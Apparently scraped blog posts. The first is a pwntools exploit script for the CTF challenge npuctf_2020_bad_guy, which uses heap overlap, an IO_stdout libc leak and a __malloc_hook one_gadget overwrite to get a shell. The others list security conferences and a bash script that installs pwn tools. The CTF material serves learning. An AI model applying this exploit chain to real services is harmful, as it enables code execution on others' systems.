123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130#! /usr/bin/pythonfrom pwn import *#import syscontext.terminal = ['tmux', 'splitw', '-h']context.log_level = 'debug'context.arch = 'amd64'SigreturnFrame(kernel = 'amd64')binary = "./npuctf_2020_bad_guy"one = [0x45226,0x4527a,0xf03a4,0xf1247] #2.23-0ubuntu11.3#one = [0x45216,0x4526a,0xf02a4,0xf1147] # buuctf#idx = int(sys.argv[1])global plocal = 1if local: p = process(binary) #gdb.attach(p) e = ELF(binary) libc = e.libcelse: p = remote("node4.buuoj.cn","27593") e = ELF(binary) #libc = e.libc libc = ELF('./libc-2.23.buu.so')################################ Condfig ############################################sd = lambda s:p.send(s)sl = lambda s:p.sendline(s)rc = lambda s:p.recv(s)ru = lambda s:p.recvuntil(s)sa = lambda a,s:p.sendafter(a,s)sla = lambda a,s:p.sendlineafter(a,s)it = lambda :p.interactive()def z(s='b main'): gdb.attach(p,s)def logs(mallocr,string='logs'): if(isinstance(mallocr,int)): print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,mallocr)) else: print('\033[1;31;40m%20s-->%s\033[0m'%(string,mallocr))def pa(s='1'): log.success('pause : step---> '+str(s)) pause()def info(data,key='info',bit=64): if(bit == 64): leak = u64(data.ljust(8, b'\0')) else: leak = u32(data.ljust(4, b'\0')) logs(leak,key) return leak################################ Function ############################################def malloc(i,s,c = 'A'): sla('>> ','1') sla('Index :',str(i)) sla('size:',str(s)) sa('Content:',c)def edit(i,s,c = 'A'): sla('>> ','2') sla('Index :',str(i)) sla('size:',str(s)) sa('content:',c)def free(i): sla('>> ','3') sla('Index :',str(i))################################### Statr ############################################def pwn(): malloc(0,0x10) malloc(1,0x10) malloc(2,0x60) malloc(3,0x10) free(2) payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91) edit(0,len(payload),payload) free(1) malloc(4,0x10) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91) edit(0,len(payload),payload) #pause() malloc(5,0x60) payload = 0x33 * p8(1) + p64(0xfbad800) + p64(0)*3 + p8(0) #pause() malloc(6,0x60,payload) #pa() #libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000) #libc.address = info(ru('\x7f')[-6:]) #print(hex(libc.address)) libc.address = info(ru('\x7f')[-6:]) - (0x7ffff7dd2600 - 0x7ffff7a0d000) print(hex(libc.address)) #pause() malloc(7,0x60) #pause() free(7) #pause() payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91) #pause() edit(0,len(payload),payload) malloc(8,0x60) payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3])) malloc(9,0x60,payload) #pause() sla('>> ','1') sla('Index :',str(10)) sla('size:',str(10)) p.interactive()################################### End ##############################################pwn()p.close()'''while 1: try: pwn() break except KeyboardInterrupt: p.close() p = remote("node4.buuoj.cn","27593") #p = process(binary) except : p.close() #p = process(binary) p = remote("node4.buuoj.cn","27593") '''
参考https://blog.csdn.net/u014377094/article/details/124577350
https://blog.csdn.net/csdn546229768/article/details/123717993
IO_stdout泄漏libc
pwndbg: parseheap
https://zhuanlan.zhihu.com/p/320151545 这个蛮详细的
https://blog.csdn.net/zzq487782568/article/details/123773034 这个整体思路可以 利用unstortedbin打stdout泄露出libc
https://www.cnblogs.com/LynneHuan/p/14851770.html
https://j-kangel.github.io/2020/03/13/利用-IO-2-1-stdout-泄漏libc/#分析
遗留问题为什么后来分配的 malloc(4,0x10)的fd和nt是那个值呢?
枚举的话, 不用增加点偏移吗, 或者说偏移也有可能是0?
pwndbg: parseheap
网安四大顶会及科研前沿资源整理
研一读了一点论文,研二开始读的少了,毕竟是专硕………. 不过好歹是学习到了一点东西,觉得有必要整理一下,将来肯定还会用到.
科研 https://www.aminer.cn 这种集合网站,可以按照论文等级等搜索,挺好用的
顶会论文,其他CCF类论文
论文寻找方式, 下载方式 知网 scihub、 中文期刊
其他 像 blackhat等会议
论文知识图谱
dblp
国外几大出版社
https://arxiv.org
一、论文获取四大顶会 网安有四大顶会, 文章质量非常高,代表了最前沿的网安技术.
1. usenix security官网:https://www.usenix.org
可以从上方的conferences找到会议信息,或者直接进这个链接,有历年的https://www.usenix.org/conferences/byname/108
从主入口进的不一定是usenix顶会会议,还有其他会议,这个才是
然后可以从program里面找paper
快速的论文检索: 可以看目录 program–TECHNICAL SESSIONS–Table of Contents
可以从里面看小标题分类,找感兴趣的方向
https://www.usenix.org/sites/default/files/sec23_contents.pdf
2.NDSS官网:https://www.ndss-symposium.org
NDSS收文量就少很多了,上方导航能很清晰看到会议信息,
可以查看目录快速浏览(program-symposium program-Proceedings Frontmatter):https://www.ndss-symposium.org/wp-content/uploads/NDSS2022_Proceedings_Front_Matter.pdf
https://www.likecs.com/show-433567.html
https://www.ndss-symposium.org/ndss2019/accepted-papers/
3.CCSACM SIGSAC Conference on Computer and Communications Security
官网: https://www.sigsac.org/ccs.html
acm数据库中: https://dl.acm.org/conference/ccs/proceedings 可以看Front Matter,类似于目录
https://www.sigsac.org/ccs/CCS2018/proceedings/
https://www.sigsac.org/ccs/CCS2022/program/accepted-papers.html
4. S&PIEEE Symposium on Security and Privacy
官网:https://www.ieee-security.org/index.html
dblp:https://dblp.uni-trier.de/db/conf/sp/index.html
2023年的: https://www.ieee-security.org/TC/SP2023/
sp的sok论文(综述论文) https://oaklandsok.github.io
这个好像分了sp和euro sp, euro sp就不是A类会议了?
CCF推荐
中文论文 虽然确实好的期刊大部分都是国外的,尤其是top,但不能一棒子否认国内的期刊,国内也是要发展的,也不能都投到国外,中文期刊还是有一些不错的,可以参考. 尤其是前期调研,读大段英语费劲的时候,可以先看看中文的,(不过话说是不是英语很好了就没这个问题了..233)
信息安全学报 http://jcs.iie.ac.cn/xxaqxb/ch/index.aspx
电子学报 https://www.ejournal.org.cn/CN/0372-2112/home.shtml
计算机学报
其他途径获取公众号,如gossip
硕博论文二、论文工具与经验https://www.researchrabbit.ai/
工具:Connected Papers https://www.connectedpapers.com/
https://letpub.com.cn/ 可以查影响因子什么的
大佬们:
https://dl.acm.org/profile/81100363323
苏璞睿:二进制漏洞 https://people.ucas.edu.cn/~purui
信息计量学
zotero一个非常好用的文献管理工具, 还可以选择翻译!
经验找论文可以以一篇好的综述,往旧的年份找的话,看它引用,往新的年份找的话,可以看谁引用了它
看引用数量也可以看出来文章的质量,(就不用看期刊的等级了)
pwn入门-43-pwn做题环境搭建脚本
之前m1不支持x86,一直用云服务器有时候经常换,每次都需要手动搭建环境,一直想写个脚本,但有时候一直懒…终于整理出来了..
(感谢chatgpt)
然后这个脚本目前还有很多小问题和可以改进的地方
要安装的内容123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566# 必要的安装apt-get updateapt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential# 安装常用工具sudo apt install -y git vim gdb strace ltrace socat netcat# 安装pwntoolspython3 -m pip install --upgrade pippython3 -m pip install --upgrade pwntools# 安装pwndbggit clone https://github.com/pwndbg/pwndbgcd pwndbgsudo ./setup.shecho "source /ctfpwntools/pwndbg/gdbinit.py" >> ~/.gdbinitcd ..# 安装glibc-all-in-onegit clone https://github.com/matrix1001/glibc-all-in-one.gitcd glibc-all-in-one/python3 update_listcd ..# 安装ROPgadgetpip install capstonegit clone https://github.com/JonathanSalwan/ROPgadget.gitcd ROPgadgetsudo python3 setup.py install# one_gadgetapt -y install rubygem install one_gadget # LibcSearchergit clone https://github.com/lieanu/LibcSearcher.gitcd LibcSearcherpython3 setup.py developcd ..# patchelfapt-get install autoconf automake libtoolgit clone https://github.com/NixOS/patchelf.gitcd patchelf./bootstrap.sh ./configuremakemake checkmake installcd ..## seccomp# 1.添加仓库 sudo add-apt-repository ppa:brightbox/ruby-ng sudo apt-get update# 2.指定安装 ruby 2.6 版本 sudo apt-get install ruby2.6 ruby2.6-dev # 3.然后安装 seccomp-tools sudo gem install seccomp-tools# 32位libcdpkg --add-architecture i386apt-get install libc6:i386apt-get install libgtk2.0-0:i386
简单的开始 简单的创建while循环,指定安装次数
12345678910111213141516171819202122232425262728293031323334353637383940414243444546#! /bin/bashmkdir /ctfpwntoolscd /ctfpwntoolsMAX_RETRIES=3INSTALL_SUCCESS=falseRETRY_COUNT=0# 更新apt源sudo apt update# 安装常用工具sudo apt install -y git vim gdb strace ltrace nmap socat netcat# 安装pwntoolswhile [ $RETRY_COUNT -lt $MAX_RETRIES ] && [ "$INSTALL_SUCCESS" = false ]do echo "Attempt $((RETRY_COUNT+1)) to install pwntools..." apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools # 检查安装是否成功 if [ $? -eq 0 ]; then INSTALL_SUCCESS=true else RETRY_COUNT=$((RETRY_COUNT+1)) fidoneif [ "$INSTALL_SUCCESS" = true ]; then echo "pwntools installed successfully!"else echo "Failed to install pwntools after $MAX_RETRIES attempts."fiMAX_RETRIES=3INSTALL_SUCCESS=falseRETRY_COUNT=0# 安装pwndbgwhile....
另外一种方式 只需要定义一个变量, 而且代码量少了很多
12345678910111213141516171819202122232425262728293031#!/bin/bash# 定义变量MAX_RETRY=3# 更新apt源for (( i=1; i<=$MAX_RETRY; i++ )); do if sudo apt update; then break fi if [ $i -eq $MAX_RETRY ]; then echo "更新apt源时出现错误" exit 1 fi echo "更新apt源失败,正在进行第$i次重试..." sleep 1done# 安装常用工具for (( i=1; i<=$MAX_RETRY; i++ )); do if xxxxxxxxxxx; then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装常用工具时出现错误" exit 1 fi echo "安装常用工具失败,正在进行第$i次重试..." sleep 1done
定好模版123456789101112131415161718#!/bin/bash# 定义变量MAX_RETRY=3# 安装常用工具for (( i=1; i<=$MAX_RETRY; i++ )); do if xxxxxxxxxxx; then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装常用工具时出现错误" exit 1 fi echo "安装常用工具失败,正在进行第$i次重试..." sleep 1done
套上!123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142#! /bin/bashmkdir /ctfpwntoolscd /ctfpwntools# 定义变量MAX_RETRY=3# 必要的更新、安装常用工具for (( i=1; i<=$MAX_RETRY; i++ )); do if (apt-get update;apt-get -y install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential git vim gdb strace ltrace socat netcat); then break fi if [ $i -eq $MAX_RETRY ]; then echo "更新、安装常用工具时出现错误" exit 1 fi echo "更新、安装常用工具失败,正在进行第$i次重试..." sleep 1done# 安装pwntoolsfor (( i=1; i<=$MAX_RETRY; i++ )); do if (python3 -m pip install --upgrade pip;python3 -m pip install --upgrade pwntools); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装pwntools时出现错误" exit 1 fi echo "安装pwntools失败,正在进行第$i次重试..." sleep 1done# 安装pwndbgfor (( i=1; i<=$MAX_RETRY; i++ )); do if (git clone https://github.com/pwndbg/pwndbg;cd pwndbg;./setup.sh;echo "source /ctfpwntools/pwndbg/gdbinit.py" >> ~/.gdbinit;cd ..); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装pwndbg时出现错误" exit 1 fi echo "安装pwndbg失败,正在进行第$i次重试..." sleep 1done# 安装glibc-all-in-onefor (( i=1; i<=$MAX_RETRY; i++ )); do if (git clone https://github.com/matrix1001/glibc-all-in-one.git;cd glibc-all-in-one/;python3 update_list;cd ..); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装glibc-all-in-one时出现错误" exit 1 fi echo "安装glibc-all-in-one失败,正在进行第$i次重试..." sleep 1done# 安装ROPgadgetfor (( i=1; i<=$MAX_RETRY; i++ )); do if (pip install capstone;git clone https://github.com/JonathanSalwan/ROPgadget.git;cd ROPgadget;sudo python3 setup.py install;cd ..); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装ROPgadget时出现错误" exit 1 fi echo "安装ROPgadget失败,正在进行第$i次重试..." sleep 1done# one_gadget# 32位libcfor (( i=1; i<=$MAX_RETRY; i++ )); do if (apt -y install ruby;gem install one_gadget;dpkg --add-architecture i386;apt-get -y install libc6:i386 libgtk2.0-0:i386); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装one_gadget时出现错误" exit 1 fi echo "安装one_gadget失败,正在进行第$i次重试..." sleep 1done# LibcSearcherfor (( i=1; i<=$MAX_RETRY; i++ )); do if (git clone https://github.com/lieanu/LibcSearcher.git;cd LibcSearcher;python3 setup.py develop;cd ..); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装LibcSearcher时出现错误" exit 1 fi echo "安装LibcSearcher失败,正在进行第$i次重试..." sleep 1done# patchelffor (( i=1; i<=$MAX_RETRY; i++ )); do if (apt-get install autoconf automake libtool;git clone https://github.com/NixOS/patchelf.git;cd patchelf;./bootstrap.sh;./configure;make;make check;make install;cd ..); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装patchelf时出现错误" exit 1 fi echo "安装patchelf失败,正在进行第$i次重试..." sleep 1done## seccomp //安装失败## ruby版本会和上面那个onegadget冲突吗??for (( i=1; i<=$MAX_RETRY; i++ )); do if (add-apt-repository ppa:brightbox/ruby-ng;apt-get install ruby2.6 ruby2.6-dev ;gem install seccomp-tools); then break fi if [ $i -eq $MAX_RETRY ]; then echo "安装seccomp时出现错误" exit 1 fi echo "安装seccomp失败,正在进行第$i次重试..." sleep 1done
问题pip还是pip3呢
还有一些小问题、以及还有其他有用工具没安装
参考https://blog.csdn.net/mandiheyanyu/article/details/122455348
安装工具参考: https://blingblingxuanxuan.github.io/2020/02/23/paper/